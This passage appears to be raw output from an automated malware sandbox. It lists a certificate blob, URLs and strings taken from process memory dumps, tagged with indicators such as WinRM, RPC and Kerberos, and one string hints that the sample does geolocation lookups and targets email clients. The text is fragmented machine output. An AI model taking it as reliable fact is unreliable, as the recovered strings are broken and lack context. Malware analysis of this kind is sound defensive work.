/nhorvmzqkktcc3kdke64j8pgmeimu3nv4uw6xnj48umyuhhg+6g5svt7d/dhsotnkoiyigf4llzuvcy3fwlvqh2rx1xz+cmpxlu6oiqdnzbda9hlefgn2c6mosmcfo6bx8ruvyzqc2f+fndgwjcgialxes3zhcswfjsqidaqabo4id9dcca/awhwydvr0jbbgwfoaupdnqpdagre7zsmakzdmh1pj41g8whqydvr0obbyefcqaukq3s0o1nbrkmz7we/y2w6ctmccga1udeqqgmb6cc21vemlsbgeub3jngg93d3cubw96awxsys5vcmcwdgydvr0paqh/baqdagwgmb0ga1udjqqwmbqgccsgaqufbwmbbggrbgefbqcdajb1bgnvhr8ebjbsmdsgmqawhi5odhrwoi8vy3jsmy5kawdpy2vydc5jb20vc2hhmi1ldi1zzxj2zxitzzeuy3jsmdsgmqawhi5odhrwoi8vy3jsnc5kawdpy2vydc5jb20vc2hhmi1ldi1zzxj2zxitzzeuy3jsmesga1udiaremeiwnwyjyiziayb9baibmcowkayikwybbquhagewhgh0dhbzoi8vd3d3lmrpz2ljzxj0lmnvbs9dufmwbwyfz4emaqewgyggccsgaqufbwebbhwwejakbggrbgefbqcwayyyahr0cdovl29jc3auzglnawnlcnquy29tmfigccsgaqufbzachkzodhrwoi8vy2fjzxj0cy5kawdpy2vydc5jb20vrglnaunlcnrtseeyrxh0zw5kzwrwywxpzgf0aw9uu2vydmvyq0euy3j0mawga1udeweb/wqcmaawggh3bgorbgeeadz5agqcbiib5wscaemb4qb1aks5czc0gfguh7stosxncao8nzge+rvfuon3zq7iddwqaaabwetou44aaaqdaeywraigadqvtaz8vg28wppqyod32nfvekz/wfdmdtjc88ycyc4cibncp5yqet7j3jsinwjnbaewtbvtjoo6vudbursfaqwmahyaapay+b9kgr46jo65kb1m/hfrxwet1etrcmesu09p+8qaaafys2i7xqaabamarzbfaieaxbqyhhg6za3q7y1hdxnvtd2yaog1g4iiv38veg2wbomciat2azruy9nda3hzppk2hv8yteitiocjb81f/j4wf2nmahcavhqgmi/xwuzt9eg9rli+x0z2ubyzevza75syvdaj0n0aaafys2i7+gaabamasdbgaiea4/5vifhhenp07nor8yskvuihf+d+6fmdhqch2shxibociqcypavuuxnyrwk3ppdbqgx4ypi5i5diqubyt/uiqaovtwb3ao5lvbd1zmc64ujph6vhnmajd35fshlygwdee4l6qp3laaabwetovaiaaaqdaegwrgihaj1s5/u2tqjmrhm8wlpz+srrobrofxqllj0keffve9mtaieagxkb74z6pnvkx898pkntxiccvrdah4lotsfsftgmajywdqyjkozihvcnaqelbqadggebaaaxqpv0ymmrvgwoikr5s6dqe4fudkntqzn2y8vklynpodup5s64zbnncceubspwgqbrxaevdn2ylyfde1j/nptrfvqh4npjn8zmidzfq/7fyp9btufqbouea6gf8/pvugifa0945hikojnzixatfyndffarpx+h957joglfhkxqfek0cpriklhxdri5lwdv8tcjsw971gdngsy8n3htfgvdkcmvhbuqm02utw++wuce5rzwk8vq3nfjoqy3vm3yhrpotf3ufbtxcpmzab1hgt+iz4k1socjo9ywoewwd5as8bk2+vjtoafbnn6udla4wjrx+jnx5wianzl9azczludmcjimkvxp+7sgiywmmt8fvcoxmlqitnwfiwlrbpbqgwaaaaaaaas6miietjcca56gawibagiqdhmprlcmezugkmff4msdgzanbgkqhkig9w0baqsfadbsmqswcqydvqqgewjvuzevmbmga1uechmmrglnaunlcnqgsw5jmrkwfwydvqqlexb3d3cuzglnawnlcnquy29tmsswkqydvqqdeyjeawdpq2vydcbiawdoiefzc3vyyw5jzsbfvibsb290ienbmb4xdtezmtaymjeymdawmfoxdti4mtaymjeymdawmfowdtelmakga1uebhmcvvmxftatbgnvbaotderpz2ldzxj0ieluyzezmbcga1uecxmqd3d3lmrpz2ljzxj0lmnvbte0mdiga1ueaxmrrglnaunlcnqgu0hbmibfehrlbmrlzcbwywxpzgf0aw9uifnlcnzlcibdqtccasiwdqyjkozihvcnaqebbqadggepadccaqocggebandtparr+jmmfkhlzyeqk0nqoe0mslaah/fnkiafji5j2ryxqdji0/xspquyud0+xzkxmuwyjprxdkzkiyxlbxa0sfkikx9om9kxjxkws9lnib8f7zh3vfnfghk/lhqqqb5lkw2rt2o5nbd9flxzs99rstkh4gzikikhaq7q12twmfxo/a8augxuvbhy/urynbt/dvtvvo4wirjv2mbxno723c3sxiclho3yieswtqyj3dkmf93215sf2aqhcj1vb/9cuhnhrctwvyh+ha1bv6q3uce7set6ku8hi3uars2bhjwmnhe1c63ylc3k8wyd7sfoyn4xwhgeln7x+raogtmcaweaaaocaukwggffmbiga1udeweb/wqimaybaf8caqawdgydvr0paqh/baqdagggmb0ga1udjqqwmbqgccsgaqufbwmbbggrbgefbqcdaja0bggrbgefbqcbaqqomcywjayikwybbquhmaggggh0dha6ly9vy3nwlmrpz2ljzxj0lmnvbtblbgnvhr8erdbcmecgpqa8hjpodhrwoi8vy3jsnc5kawdpy2vydc5jb20vrglnaunlcnriawdoqxnzdxjhbmnlrvzsb290q0euy3jsmd0ga1udiaq2mdqwmgyevr0gadaqmcggccsgaqufbwibfhxodhrwczovl3d3dy5kawdpy2vydc5jb20vq1btmb0ga1uddgqwbbq901cl1qct7vnkyapl0yhu+pjwdzafbgnvhsmegdawgbsxpsnpa/i/rwhumcyacalvy2qrwzanbgkqhkig9w0baqsfaaocaqeanbbqkibhhgltxadwnbx0wy12ziykqpbkiklwp8ipta18ck3mtlc4ohpniaexkshc59rgpchg4xfjckx6hqgkyhe6v6t9vypadp3thyuyun9xr3whfvuglkc3uhkmf4ib0mkplqna2spioc4suqiay+tzunhisscjl2sfnjgorwnoplpsgvh5oywm395t6zhyuqb8bpes1og9d4q3a84ytciagrpkkk47rpqf/ooi+z6mo8wnxrm9zwr4jxquezkcxwcmxms1ovwnwlzopcjwqjybcdmdqeu79ox2olhdx3ti6g8mdou42vi/hw15ujgqmxg7kvkn8tuoe6smftx3emykmiarxe/7uycjhayy3ww9w5eavcjm1ywjawtuluqdaaaaaaaaa8kwggpfmiicraadagecahacrfwmagtam48lefkuriv3ma0gcsqgsib3dqebbquamgwxczajbgnvbaytalvtmruwewydvqqkewxeawdpq2vydcbjbmmxgtaxbgnvbastehd3dy5kawdpy2vydc5jb20xkzapbgnvbamtikrpz2ldzxj0iehpz2ggqxnzdxjhbmnlievwifjvb3qgq0ewhhcnmdyxmtewmdawmdawwhcnmzexmtewmdawmdawwjbsmqswcqydvqqgewjvuzevmbmga1uechmmrglnaunlcnqgsw5jmrkwfwydvqqlexb3d3cuzglnawnlcnquy29tmsswkqydvqqdeyjeawdpq2vydcbiawdoiefzc3vyyw5jzsbfvibsb290ienbmiibijanbgkqhkig9w0baqefaaocaq8amiibcgkcaqeaxszlc+b71lvlls0ypt/lgt/jzsvjtneqw9wungeichywx2mmqlhet7kp0jikqufzotpclny823q4permtswc90qluxi47vnjbxgrfmo2q6zfw6se+e9iub74xezbojljbuuikqzekefv+8tairv+ceg1v01yct2+ojhqw3cxg42zxyrfmqesbqauwgs3uhpruqqyqueitmvhh4fbukz5xinegupx1s7mxrxtlh6yzrogfqroc9a0bbncoxhtwnxv215k4tehmfye5rg0kyas8xk5ikicexwnzreit3jyygqookskzmk/zl2vhmghjr6hxrpqcyaszeg7bgtrolhlywidaqabo2mwytaobgnvhq8baf8ebamcayywdwydvr0taqh/bauwaweb/zadbgnvhq4efgqust7daqp4v0cb1jgmgggc72nkk8mwhwydvr0jbbgwfoaust7daqp4v0cb1jgmgggc72nkk8mwdqyjkozihvcnaqefbqadggebabwabpfc15yfpihmbghxidshr/gqz6q/gdj2qbbxwyrzetkrzy41+p78rbwe2uwxs7ir6emsjrn4ztvju3lx1uuhlahavyeajgt2imbm3pw3zag0swmbi8ieecircepjvucxyrnvwmwfl04w9qaxfipi5+jlfjplvxobod34yl6lmytgciktdazcurfe+qqy0rvfnxk+fdzjol1eph/kjiskxjdpdemm4saqv7jidhkrvfjiadi8kgjbd0tuidhb9lpwjl2qyj68sxcjl7tlhknoyqcnwdjc9+ohuwgsndycv578gfyby83sr6olj2egn/magn1u16n46s4to3foh0oaaa==request-methodrequest-accept-encodinggzip," - Source: "00000000-00006976.00000000.274085.4212E000.00000004.mdmp") Found URL "https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" - Source: "00000000-00006976.00000000.274085.4212E000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006976.00000001.276006.40540000.00000004.mdmp") Found URL "https://ok2static.oktacdn.com/1,3,1531830700,4096p&n1p'n1" - Source: "00000000-00006976.00000001.276006.40573000.00000004.mdmp") Found URL "https://www.google.com/predictor::seenpredictor::resource-countpredictor::https://www.google.com/1,8,1531830675,4096predictor::https://ssl.gstatic.com/1,4,1531830675,4096predictor::https://www.gstatic.com/1,6,1531830675,4096predictor::https://id.google.com/1,4,1531830456,4096predictor::https://apis.google.com/1,5,1531830675,4096predictor::https://adservice.google.com/1,5,1531830675,4096" - Source: "00000000-00006976.00000001.276006.40573000.00000004.mdmp") Found URL "http://ocsp.digicert.com/strongly-framedrequest-methodpostresponse-headhttp/1.1" - Source: "00000000-00006976.00000001.276006.405D1000.00000004.mdmp") Found URL "http://ip-api.com/json/?fields=countrycodecountrycodexxemailclientsthunderbird[email]" - Source: "00000000-00006976.00000002.277927.0CE18000.00000002.mdmp") Found URL "https://[http:]" - Source: "00000000-00006976.00000002.277927.0CE18000.00000002.mdmp") Found URL "http://https://invalid" - Source: "00000000-00006976.00000002.277927.0CE18000.00000002.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006976.00000002.277927.40540000.00000004.mdmp") Found URL "https://ok2static.oktacdn.com/1,3,1531830700,4096p&n1p'n1" - Source: "00000000-00006976.00000002.277927.40573000.00000004.mdmp") Found URL "https://www.google.com/predictor::seenpredictor::resource-countpredictor::https://www.google.com/1,8,1531830675,4096predictor::https://ssl.gstatic.com/1,4,1531830675,4096predictor::https://www.gstatic.com/1,6,1531830675,4096predictor::https://id.google.com/1,4,1531830456,4096predictor::https://apis.google.com/1,5,1531830675,4096predictor::https://adservice.google.com/1,5,1531830675,4096" - Source: "00000000-00006976.00000002.277927.40573000.00000004.mdmp") Found URL "http://ocsp.digicert.com/strongly-framedrequest-methodpostresponse-headhttp/1.1" - Source: "00000000-00006976.00000002.277927.405D1000.00000004.mdmp") Found URL "https://edge-mobile-static.azureedge.net/eccp/get?settenant=edge-config&setplatform=win&setmkt=en-us&setchannel=stable" - Source: "00000000-00007388.00000000.278633.089AC000.00000004.mdmp") Found URL "https://edge-cloud-resource-static.azureedge.net/default/operation_config/default.json" - Source: "00000000-00007388.00000000.278633.089AC000.00000004.mdmp") Found URL "https://th.bing.com/th/id/osk.963e158c60009a2a59bf6d18f4c35ecf?w=120\\u0026h=120\\u0026c=6\\u0026p=0\\u0026pid=rs\" - Source: "00000000-00007388.00000000.278633.089AC000.00000004.mdmp") Found URL "https://th.bing.com/th/id/osk.jlopqiqbrvungla-ng4ifdq-lkr_aaysuvhe3vnghya?w=120\\u0026h=120\\u0026c=6\\u0026p=0\\u0026pid=rs\" - Source: "00000000-00007388.00000000.278633.089AC000.00000004.mdmp") Found URL "https://th.bing.com/th/id/osk._ghz4w0jtbl_t3qetuhnn0dxwl6fstt7o4czmgrbd00?w=120\\u0026h=120\\u0026c=6\\u0026p=0\\u0026pid=rs\" - Source: "00000000-00007388.00000000.278633.089AC000.00000004.mdmp") Found URL "https://th.bing.com/th/id/osk.0206d4fb80578478e4a4b8051c70cf66?w=120\\u0026h=120\\u0026c=6\\u0026p=0\\u0026pid=rs\" - Source: "00000000-00007388.00000000.278633.089AC000.00000004.mdmp") Found URL "https://watson.telemetry.microsoft.comoftware\microsoft\sqmclient\windows\commondatapoints807310433457345724575929012728system\currentcontrolset\control\systeminformationsystemmanufacturerbiosversionsystemproductnamecomputerhardwareidhardware\description\system\centralprocessor\0" - Source: "00000000-00007388.00000000.278633.223FF000.00000002.mdmp") Found URL "https://nw-umwatson.events.data.microsoft.com/telemetry.requestapplication/xmlcontent-typecontent-lengthmsa_deviceticketapplication/x-binarywerreportmetadataprocess_idprocessinformationimagenamecmdlinesignatureuptimewow64iptenabledprocessmetadataproblemsignatureseventtypeparameter%04d-%02d-%02dt%02d:%02d:%02dzreportinformationguidsourcecreationtimememorymini..\..\third_party\crashpad\crashpad\edge_watson_uploader\secondary_data_collectors\file_collector_win.ccgetfileattributes" - Source: "00000000-00007388.00000000.278633.223FF000.00000002.mdmp") Found URL "https://crashpad.chromium.org/https://crashpad.chromium.org/bug/newreport" - Source: "00000000-00007388.00000000.278633.223FF000.00000002.mdmp") Found URL "http://www.w3.org/2000/xmlns/" - Source: "00000000-00007388.00000000.278633.223FF000.00000002.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00008084.00000001.275066.1CC02000.00000002.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl060http://crl.comodo.net/aaacertificateservices.crl0l7u" - Source: "00000000-00008084.00000001.275066.23B0A000.00000004.mdmp") Found URL "http://repository.swisssign.com/02z" - Source: "00000000-00008084.00000001.275066.23B0A000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00008084.00000001.275066.23B0A000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lasmmpbm>b" - Source: "00000000-00008084.00000001.275066.3DDC0000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00008084.00000001.275066.3DDC0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0-%3_j=sm" - Source: "00000000-00008084.00000001.275066.3DDC0000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00008084.00000001.275066.3DDC0000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00008084.00000001.275066.3DDC0000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00008084.00000001.275066.3DDC0000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00008084.00000001.275066.3DDC0000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00008084.00000001.275066.3DDC0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00008084.00000001.275066.3DDC0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00008084.00000001.275066.3DDC0000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcskuwources2.5.29.1bhv*8tpathawte," - Source: "00000000-00008084.00000001.275066.3DDC0000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00008084.00000001.275066.3DDC0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00008084.00000001.275066.3DDC0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00008084.00000001.275066.3DDC0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00008084.00000001.275066.3DDC0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00008084.00000001.275066.3DDC0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00008084.00000001.275066.3DDC0000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;addtrust" - Source: "00000000-00008084.00000001.275066.3DDC0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00008084.00000001.275066.3DDC0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00008084.00000001.275066.3DDC0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00008084.00000001.275066.3DDC0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00008084.00000001.275066.3DDC0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00008084.00000001.275066.3DDC0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0uz_]1.3.6.1.4.1.311.10.1120531151137z0/^g(o-cejy" - Source: "00000000-00008084.00000001.275066.3DDC0000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00008084.00000001.275066.3DDC0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00008084.00000001.275066.3DDC0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00008084.00000001.275066.3DDC0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00008084.00000001.275066.3DDC0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00008084.00000001.275066.3DDC0000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00008084.00000001.275066.3DDC0000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00008084.00000001.275066.3E2F0000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00008084.00000001.275066.3E2F0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00008084.00000001.275066.3E2F0000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1l0j" - Source: "00000000-00008084.00000001.275066.3E48C000.00000004.mdmp") Found URL "http://www.microsoft.com/windows" - Source: "00000000-00008084.00000001.275066.3E48C000.00000004.mdmp") Found URL "http://www.microsoft.com/windowski>b" - Source: "00000000-00008084.00000001.275066.3E48C000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/ce-23.crt0@26vtlp0xr!s4zs9_>jy" - Source: "00000000-00008084.00000001.275066.3E48C000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00008084.00000001.275066.3E4D9000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00008084.00000001.275066.3E50E000.00000004.mdmp")62:T8a8,file/memory contains long string with (Indicator: "HTTP/1.1"; File: "2210FD3DD8DAF0261118BF0009E971238513F7D3") file/memory contains long string with (Indicator: "HTTP/1.1"; File: "25122E09988C491E2E3C2597AB9FB9360DDBA437") file/memory contains long string with (Indicator: "HTTP/1.1"; File: "04267DCF6B6DF3614BF6EE76DCB0B5EB1390F12D") file/memory contains long string with (Indicator: "HTTP/1.1"; File: "08339B2C8725AE0977C50D9DC59BC128E34AC049") file/memory contains long string with (Indicator: "HTTP/1.1"; File: "185C61A61D47C00267C296D8295F9B3CF648379D") file/memory contains long string with (Indicator: "HTTP/1.1"; File: "0E950F68F8F48174A12EE43F181D2D2C58F7A2E4") file/memory contains long string with (Indicator: "HTTP/1.1"; File: "0DA04B823CA0C0ACF59ED87C1D5225298C5F2750") file/memory contains long string with (Indicator: "HTTP/1.1"; File: "2239759F0CA01AA67086A68A8FC543DB1283FAE5") file/memory contains long string with (Indicator: "HTTP/1.1"; File: "0BDB047D2276D9E4588D4352648C3C5C7D96B9E5") file/memory contains long string with (Indicator: "HTTP/1.1"; File: "0311672596129101B46B4E433A163DAFE1041BB6") file/memory contains long string with (Indicator: "HTTP/1.1"; File: "048C0BA637EBDCC6986C557430C171C0FFEFB666") file/memory contains long string with (Indicator: "HTTP/1.1"; File: "01B389B4B6499331C42AB8882DF16FC3A7ED7408") file/memory contains long string with (Indicator: "HTTP/1.1"; File: "0217E9CBD61685C0FB421A40803D21212CA9C884") file/memory contains long string with (Indicator: "HTTP/1.1"; File: "05BB2A24C9592E36B2CB5E2F0449D4BB3A6021AE") file/memory contains long string with (Indicator: "HTTP/1.1"; File: "17A9264D48EA447A7E17B6DB3E89163178C4F9D4") Found string "HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found string "keep-aliveHTTP/1.1 100 Continue" (Indicator: "HTTP/1.1"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found string "HTTP/0.9HTTP/1.0HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found string "HTTP/0.9HTTP/1.0HTTP/1.1" (Indicator: "HTTP/1.0"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp")63:Tdae,file/memory contains long string with (Indicator: "winrm "; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found reference to API "The client certificate exceeded the maximum size allowed by the WinRM service.%n%n User Action %n Please use a different client certificate or a different authentication mechanism." (Indicator: "winrm "; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found reference to API "Request processing failed because the WinRM service cannot load data or event source: DLL="%1" %n%n User Action %n Please check if "%1" exists. %n%n Additional Data %n Loading %1 failed with error="%2" (%%%2)." (Indicator: "winrm "; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found reference to API "The WinRM service is unable to start because of a failure during initialization. %n%n Additional Data %n The error code is %1." (Indicator: "winrm "; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found reference to API "The WinRM service has received an unsecure HTTP connection from %1. %n%n This is not a secure configuration. %n%n User Action %n Set AllowUnencrypted to False in WinRM configuration to ensure packets are encrypted on the wire." (Indicator: "winrm "; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found reference to API "The WinRM service encountered a catastrophic security failure. The service can no longer run under its security context. %n%n User Action %n Stop and restart the WinRM service. %n%n Additional Data %n The error code is %1." (Indicator: "winrm "; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found reference to API "The WinRM service cannot migrate the listener with IP address %1, Port %2 and Transport %3. A listener that has Address=%4 and Transport=%5 configuration already exists." (Indicator: "winrm "; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found reference to API "The WinRM service cannot migrate the listener with Address %1 and Transport %2. A listener that has the same Address and Transport configuration already exists." (Indicator: "winrm "; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found reference to API "The WinRM service had a failure during migration. %n%n User Action %n Create the configuration again using the WinRM command line tool. %n%n Additional Data %n The error code is: %1 %%%1" (Indicator: "winrm "; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found reference to API "The WinRM service had a failure applying the current configuration and is stopping. %n%n User Action %n Check for previous event log messages and restart the service." (Indicator: "winrm "; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found reference to API "The WinRM service is listening for WS-Management requests. %n%n User Action %n Use the following command to see the specific IPs on which WinRM is listening: %n%n winrm enumerate winrm/config/listener" (Indicator: "winrm/config/"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found reference to API "The WinRM service is not listening for WS-Management requests. %n%n User Action %n If you did not intentionally stop the service, use the following command to see the WinRM configuration: %n%n winrm enumerate winrm/config/listener" (Indicator: "winrm/config/"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp")64:T5b3,Found string "+ncalrpc:[OLE91151B7C3F6EAEB48874D69E53F1]" (Indicator: "ncalrpc"; Source: "00000000-00004512.00000000.274160.08E50000.00000004.mdmp") Found string "9ncalrpc:[epmapper,Security=Impersonation Dynamic False]" (Indicator: "ncalrpc"; Source: "00000000-00004512.00000000.274160.08E50000.00000004.mdmp") Found string "+ncalrpc:[OLED3950CB81BFD2D38D3D945F85CF1]" (Indicator: "ncalrpc"; Source: "00000000-00004512.00000000.274160.08E50000.00000004.mdmp") Found string "+ncalrpc:[OLE1134AA912F8E0892453D3035944F]" (Indicator: "ncalrpc"; Source: "00000000-00006548.00000000.273667.A24C0000.00000004.mdmp, 00000000-00006548.00000001.273794.A24C0000.00000004.mdmp") Found string "B+ncalrpc:[OLED3950CB81BFD2D38D3D945F85CF1]" (Indicator: "ncalrpc"; Source: "00000000-00006548.00000000.273667.A24C0000.00000004.mdmp, 00000000-00006548.00000001.273794.A24C0000.00000004.mdmp") Found string "9ncalrpc:[epmapper,Security=Impersonation Dynamic False]" (Indicator: "ncalrpc"; Source: "00000000-00006548.00000000.273667.A24C0000.00000004.mdmp, 00000000-00006548.00000001.273794.A24C0000.00000004.mdmp") Found string "+ncalrpc:[OLED3950CB81BFD2D38D3D945F85CF1]" (Indicator: "ncalrpc"; Source: "00000000-00006548.00000000.273667.A24C0000.00000004.mdmp, 00000000-00006548.00000001.273794.A24C0000.00000004.mdmp") Found string "+ncalrpc:[OLEEF41DBED74701DABBDCB32153522]" (Indicator: "ncalrpc"; Source: "00000000-00006552.00000001.275090.A0390000.00000004.mdmp")65:T13f5,Found string "Kerberos" (Indicator: "kerberos"; Source: "00000000-00004512.00000000.274160.08E50000.00000004.mdmp, 00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "'Protect Kerberos Service Tickets with AES Keys' - Disabled" (Indicator: "kerberos"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "'Protect Kerberos Service Tickets with AES Keys' - Enabled" (Indicator: "kerberos"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "Kerberos Service Ticket Operations" (Indicator: "kerberos"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "Kerberos Authentication Service" (Indicator: "kerberos"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "To use Kerberos, specify the computer name as the remote destination. Also verify that the client computer and the destination computer are joined to a domain." (Indicator: "kerberos"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "Specify one of the authentication mechanisms supported by the server. If Kerberos mechanism is used," (Indicator: "kerberos"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "To use Kerberos, specify the local computer name as the remote destination. Also verify that the client computer and the destination computer are joined to a domain." (Indicator: "kerberos"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "-Kerberos is used when no authentication method and no user name are specified.%n" (Indicator: "kerberos"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "-Kerberos accepts domain user names, but not local user names.%n" (Indicator: "kerberos"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "The WSMan client cannot process the request. Proxy is not supported when the authentication mechanism with the server is Kerberos or CredSSP." (Indicator: "kerberos"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "Configure service to allow authenticating requests using Kerberos protocol." (Indicator: "kerberos"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found string "Modify the GP setting "Disallow Kerberos authentication" to either "Not Configured" or "Disabled"." (Indicator: 